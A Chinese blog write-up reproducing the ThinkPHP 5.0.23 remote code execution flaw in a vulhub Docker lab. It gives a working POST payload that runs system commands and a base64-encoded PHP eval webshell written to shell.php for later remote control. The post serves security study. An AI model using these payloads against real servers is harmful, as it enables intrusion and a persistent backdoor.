ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接(复现详细过程)

目录

漏洞介绍

漏洞复现

1.环境搭建

2.漏洞利用

漏洞介绍

5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞复现

1.环境搭建

使用docker容器搭建漏洞环境,进入漏洞文件所在。

cd vulhub/thinkphp/5.0.23-rce

(每个人安装路径不同,我这里是安装在vulhub文件内,选择自己的安装路径)

启动环境

docker-compose up -d

 等待漏洞环境启动完成后,访问your-id:8080就可以看到thinkphp的默认页面了

2.漏洞利用

Poc 路径:/index.php?s=captcha

访问your-id:8080/index.php?s=captcha页面会出现报错。

接下来我们进行POST传参,这里使用的工具是hackbar

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

命令被执行

 接下来我们就可以上传shell文件了,但是无法直接上传shell文件,我们需要对shell文件进行Base 64编码

YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi

发送POST请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php

访问shell.php文件上传成功

 使用WebShell管理工具连接,输入上传的木马所在位置、密码以及选择Base64编码

查看网站目录,复现完成。

猜你喜欢

转载自blog.csdn.net/m0_52701599/article/details/129610760